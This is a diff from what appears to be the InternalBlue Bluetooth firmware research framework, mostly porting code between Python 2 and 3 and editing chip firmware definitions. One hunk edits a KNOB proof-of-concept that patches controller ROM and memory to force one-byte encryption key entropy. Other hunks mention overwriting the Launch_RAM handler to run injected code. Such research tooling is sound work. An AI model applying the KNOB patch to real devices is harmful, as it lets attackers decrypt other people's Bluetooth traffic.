" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+7 -6
View File
@@ -1,14 +1,15 @@
#!/usr/bin/env python3
#!/usr/bin/env python2
# Jiska Classen
# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
from builtins import range
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
internalblue = ADBCore(serial=True)
device_list = internalblue.device_list()
if len(device_list) == 0:
@@ -130,9 +131,9 @@ def lereceiveStatusCallback(record):
# packet_curr_nesn_sn = u8(data[0xa4])
packet_channel_map = data[0x54:0x7b]
packet_channel = data[0x83]
packet_channel = u8(data[0x83])
packet_event_ctr = u16(data[0x8e:0x90])
packet_rssi = data[0]
packet_rssi = u8(data[0])
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
@@ -155,11 +156,11 @@ def lereceiveStatusCallback(record):
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = packet_channel_map[37]
channels_total = u8(packet_channel_map[37])
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
+11 -59
View File
@@ -1,9 +1,11 @@
#!/usr/bin/python3
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from pwn import *
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
@@ -30,66 +32,16 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy
internalblue.patchRom(Address(0x530F6), patch)
internalblue.patchRom(0x530F6, patch)
# modify global variable for own setting
internalblue.writeMem(0x255E8F, b'\x01') # global key entropy
internalblue.writeMem(0x255E8F, '\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
"Currently, there is no LMP monitoring option on Android 8.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+2 -1
View File
@@ -17,7 +17,8 @@ from typing import (
Dict,
)
Address = NewType("Address", int)
# Address = NewType("Address", int)
Address = int
ConnectionNumber = NewType("ConnectionNumber", int)
ConnectionIndex = NewType("ConnectionIndex", int)
+6 -11
View File
@@ -90,11 +90,6 @@ def findCmd(keyword):
def auto_int(x):
""" Convert a string (either decimal number or hex number) into an integer.
"""
# remove leading zeros as this doesn't work with int(), issue 20
# but only for integers (023), not for hex (0x23)
if not ('x' in x):
x = x.lstrip('0')
return int(x, 0)
@@ -119,7 +114,7 @@ def parse_bt_addr(bt_addr):
# Convert to byte string (little endian)
try:
addr = bytearray.fromhex(addr)
addr = addr.decode("hex")
except TypeError:
log.info("BT Address must consist of only hex digests!")
return None
@@ -220,16 +215,16 @@ class Cmd(object):
self.progress_log = log.progress("Initialize internal memory image")
dumped_sections = {}
for section in self.internalblue.fw.SECTIONS:
dumped_sections[section.start_addr] = bytes(self.readMem(
dumped_sections[section.start_addr] = self.readMem(
section.start_addr,
section.size(),
self.progress_log,
bytes_done,
bytes_total,
))
)
bytes_done += section.size()
self.progress_log.success("Received Data: complete")
Cmd.memory_image = flat(dumped_sections, filler=b'\x00')
Cmd.memory_image = flat(dumped_sections, filler="\x00")
f = open(self.memory_image_template_filename, "wb")
f.write(Cmd.memory_image)
f.close()
@@ -1385,7 +1380,7 @@ class CmdSendLmp(Cmd):
log.info(
"Sending op=%d data=%s to connection handle=0x%04x"
% (args.opcode, data.decode("utf-8"), args.conn_handle)
% (args.opcode, data.encode("hex"), args.conn_handle)
)
return self.internalblue.sendLmpPacket(
args.opcode, data, is_master, args.conn_handle, extended_op=args.extended
@@ -1789,7 +1784,7 @@ class CmdBreakpoint(Cmd):
return True
log.info("Inserting breakpoint at 0x%x..." % args.address)
self.internalblue.patchRom(args.address, b'\x00\xbe\x00\x00') # on ARM, hex code for a break point is 0xBE00
self.internalblue.patchRom(args.address, "\x00\xbe\x00\x00")
return True
-2
View File
@@ -88,8 +88,6 @@ class FirmwareDefinition:
PATCHRAM_NUMBER_OF_SLOTS: int
LAUNCH_RAM_PAUSE = None
LAUNCH_RAM = Address
HCI_EVENT_COMPLETE = Address
READ_MEM_ALIGNED_ASM_LOCATION: Address
READ_MEM_ALIGNED_ASM_SNIPPET: str
-38
View File
@@ -1,38 +0,0 @@
#!/usr/bin/env python
#
# fw_0x21d0.py
#
# Firmware file for BCM2046 chipsets. These chipsets are typically used for
# in older MacBooks and iMacs.
#
# Copyright (c) 2020 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class BCM2046(FirmwareDefinition):
# Firmware Infos
FW_NAME = "BCM2046" # iMac 2009
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x3FFFF, True, False), # Internal ROM
MemorySection(0x80000, 0x89FFF, False, True), # Internal RAM
]
-22
View File
@@ -23,24 +23,7 @@
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class CYW20819A1(FirmwareDefinition):
"""
CYW20819 is a Cypress evaluation board, the newest one that is currently available.
Known issues:
* `Launch_RAM` does not terminate and crashes the board.
To get this working anyway:
The `Launch_RAM` handler HCI callback is at `0xF2884` and it can be overwritten with the
address of the memory snippet you want to launch. For example, at `0x219000` there is some
free memory. Put the function there. Then:
`internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
"""
# Firmware Infos
# Evaluation Kit CYW920819
FW_NAME = "CYW20819A1"
@@ -64,8 +47,3 @@ class CYW20819A1(FirmwareDefinition):
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0xF2884
HCI_EVENT_COMPLETE = 0x1179E
+2 -1
View File
@@ -22,8 +22,9 @@
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from __future__ import absolute_import
class BCM20702A1(FirmwareDefinition):
-4
View File
@@ -83,10 +83,6 @@ class BCM4358A3(FirmwareDefinition):
# crashes even when executing 0x5E860 twice, which is just a nullsub
# also crashes during the pause if there are other hci events
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0x260B84 # TODO this one needs to be handed with a "branch" (without link) instead of sub+1
HCI_EVENT_COMPLETE = 0x229C
# Snippet for sendLmpPacket()
SENDLMP_CODE_BASE_ADDRESS = 0xD5130
# TODO already works except for correct mac address - so still a problem with the connection #
-5
View File
@@ -22,7 +22,6 @@
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class CYW20735B1(FirmwareDefinition):
@@ -93,10 +92,6 @@ class CYW20735B1(FirmwareDefinition):
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0x1425BC
HCI_EVENT_COMPLETE = 0x24E66
# Connection Struct and Table
CONNECTION_LIST_ADDRESS = 0x216F98 # pRm_whole_conn = 0x280C9C points to this
CONNECTION_MAX = 11 # g_bt_max_connections = 0 in firmware
+2 -23
View File
@@ -20,30 +20,13 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
from __future__ import absolute_import
class CYW20739B1(FirmwareDefinition):
"""
CYW20719 is a Cypress evaluation board, the newest one that is currently available.
Known issues:
* `Launch_RAM` does not terminate and crashes the board.
To get this working anyway:
The `Launch_RAM` handler HCI callback is at `0x1AB218` and it can be overwritten with the
address of the memory snippet you want to launch. For example, at `0x0x222500` there is some
free memory. Put the function there. Then:
internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
"""
# Firmware Infos
# Evaluation Kit CYW920719, which is also named CYW20739 internally, because they like fuzzy name definitions
# Evaluation Kit CYW920719
FW_NAME = "CYW20739B1 (NOT iPhone X/XR!)"
# TODO this is not the iPhone firmware, we need to add a switch in fw.py
@@ -76,10 +59,6 @@ class CYW20739B1(FirmwareDefinition):
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0x1AB218
HCI_EVENT_COMPLETE = 0x1A9D6
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
TRACEPOINT_BODY_ASM_LOCATION = 0x00223100
+1 -1
View File
@@ -20,8 +20,8 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from __future__ import absolute_import
class BCM4347B1(FirmwareDefinition):
+7 -2
View File
@@ -37,13 +37,18 @@ class BCM4355C0(FirmwareDefinition):
SECTIONS = [
MemorySection(0x0, 0x90000, True, False),
MemorySection(0xD0000, 0xD8000, False, True),
# MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True),
MemorySection(0x260000, 0x268000, True, False),
# MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
#MemorySection(0x600000, 0x600800, False, False),
#MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
# MemorySection(0x680000, 0x800000, False, False)
]
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
+1 -1
View File
@@ -20,8 +20,8 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from __future__ import absolute_import
class BCM4345B0(FirmwareDefinition):
+6 -11
View File
@@ -30,7 +30,6 @@ from builtins import hex
from builtins import range
from builtins import object
from enum import Enum
from datetime import datetime
from internalblue.utils.pwnlib_wrapper import (
p8,
@@ -622,7 +621,6 @@ class HCI_Cmd(HCI):
class HCI_Acl(HCI):
@staticmethod
def from_data(data):
data = bytes(data) # bytearray to bytes
handle = u16(unbits(bits_str(data[0:2])[0:12].rjust(16, "0")))
bp = u8(unbits(bits_str(data[1:2])[4:6].rjust(8, "0")))
bc = u8(unbits(bits_str(data[1:2])[6:8].rjust(8, "0")))
@@ -647,7 +645,6 @@ class HCI_Acl(HCI):
class HCI_Sco(HCI):
@staticmethod
def from_data(data):
data = bytes(data) # bytearray to bytes
handle = u16(unbits(bits_str(data[0:2])[0:12].rjust(16, "0")))
ps = u8(unbits(bits_str(data[1:2])[4:6].rjust(8, "0")))
return HCI_Sco(handle, ps, u8(data[2]), data[3:])
@@ -934,7 +931,7 @@ class StackDumpReceiver(object):
def __init__(self, data_directory="."):
self.data_directory = data_directory
self.stack_dump_filename = data_directory + ("/internalblue_stackdump_%s.bin" % datetime.now())
self.stack_dump_filename = data_directory + "/internalblue_stackdump.bin"
def recvPacket(self, record):
hcipkt = record[0]
@@ -944,7 +941,7 @@ class StackDumpReceiver(object):
return
# TODO Android 8 introduced special handling for 0x57 HCI_VSE_SUBCODE_DEBUG_INFO_SUB_EVT,
# stackdumps might no longer work
if hcipkt.data[0] == 0x57:
if hcipkt.data[0] == "\x57":
self.handleNexus6pStackDump(hcipkt)
if hcipkt.data[0:4] == p32(0x039200F7):
self.handleNexus5StackDump(hcipkt)
@@ -966,16 +963,14 @@ class StackDumpReceiver(object):
followed by the actual ram dump (at this address)
"""
addr = u32(data[:4])
if self.memdump_addr is None:
if self.memdump_addr == None:
self.memdump_addr = addr
self.memdumps[addr - self.memdump_addr] = bytes(data[4:]) # convert from bytearray to bytes
self.memdumps[addr - self.memdump_addr] = data[4:]
log.debug("Stack dump handling addr %08x", addr - self.memdump_addr)
def finishStackDump(self):
"""
Write the stack dump to a file once it is finished.
"""
dump = flat(self.memdumps) # flatten, as we have one entry per address chunk
return # FIXME flat not working on dict in python 3 like this
dump = flat(self.memdumps)
log.warn(
"Stack dump @0x%08x written to %s!"
% (self.memdump_addr, self.stack_dump_filename)
+2 -12
View File
@@ -26,7 +26,7 @@ class iOSCore(InternalBlue):
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils=True,
fix_binutils="True",
data_directory=".",
):
super(iOSCore, self).__init__(
@@ -35,23 +35,13 @@ class iOSCore(InternalBlue):
self.serial = False
self.doublecheck = True
self.buffer = b""
self.muxconnecterror = False
try:
self.mux = USBMux()
# on Linux, this can result in ConnectionRefusedError if no iOS device is present
except ConnectionRefusedError:
self.muxconnecterror = True
self.mux = USBMux()
def device_list(self):
"""
Get a list of connected devices
"""
# prevent access on non-available socket if usbmuxd failed
if self.muxconnecterror:
return []
if self.exit_requested:
self.shutdown()
+9 -1
View File
@@ -167,6 +167,15 @@ class MuxConnection(object):
def _processpacket(self):
resp, tag, data = self.proto.getpacket()
if resp == self.proto.TYPE_DEVICE_ADD:
# BinaryProtocol returns bytearrays, PlistProtocol returns strings
# we convert this here and leave the protocols untouched
if self.proto.VERSION == 1:
# yeah, no recursion here, we know our dictionary
for k in data['Properties']:
v = data['Properties'][k]
if isinstance(v, str):
data['Properties'][k] = v.encode("utf-8")
self.devices.append(MuxDevice(data['DeviceID'], data['Properties']['ProductID'], data['Properties']['SerialNumber'], data['Properties']['LocationID']))
elif resp == self.proto.TYPE_DEVICE_REMOVE:
for dev in self.devices:
@@ -231,4 +240,3 @@ class USBMux(object):
def connect(self, device, port):
connector = MuxConnection(self.socketpath, self.protoclass)
return connector.connect(device, port)
+1 -1
View File
@@ -25,7 +25,7 @@ from pwn import log
from pwnlib.term import text
from pwnlib.ui import options, yesno
from pwnlib.util.packing import flat
from pwnlib.asm import disasm, asm
from pwnlib.asm import disasm
from pwnlib.util.fiddling import isprint, unbits, bits_str, bits
Binary file not shown.
+2 -14
View File
@@ -7,29 +7,17 @@ macOS Setup
brew install unicorn
pip install pwntools
pip install pyobjc
```
On macOS High Sierra or older, you need to use a precompiled [IOBluetoothExtended.framework](IOBluetoothExtended.framework.zip) file.
It only runs after installing the *Swift 5 Runtime Support Command Line Tools*, otherwise, the error
message `Library not loaded: @rpath/libswiftCore.dylib` is shown.
On macOS Mojave and newer, *Xcode 10.2.1* and up is supported. On these systems, you can build the
framework yourself.
```
open internalblue/macos-framework/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/
```
⌘ + B
```
python3 -m internalblue.cli
python internalblue/cli.py
```
If you want to use ARM assembly and disassembly, which is required for some patches and debugging:
* brew install https://github.com/Gallopsled/pwntools-binutils/raw/master/osx/binutils-arm.rb
* Xcode 10.2.1
If you do excessive IO such as dumping the ROM and get the message `Failure: creating socket: Too many open
files`, you need to change the `ulimit`.
* Xcode 10.2.1
-1
View File
@@ -16,7 +16,6 @@ setup(
"internalblue/objects",
"internalblue/utils",
],
python_requires='>=3.6',
install_requires=["pwntools>=4.0.1", "pyelftools", "future"],
extras_require={"macoscore": ["pyobjc"], "ipython": ["IPython"]},
tests_require=["nose", "pytest", "pwntools>=4.2.0.dev0"],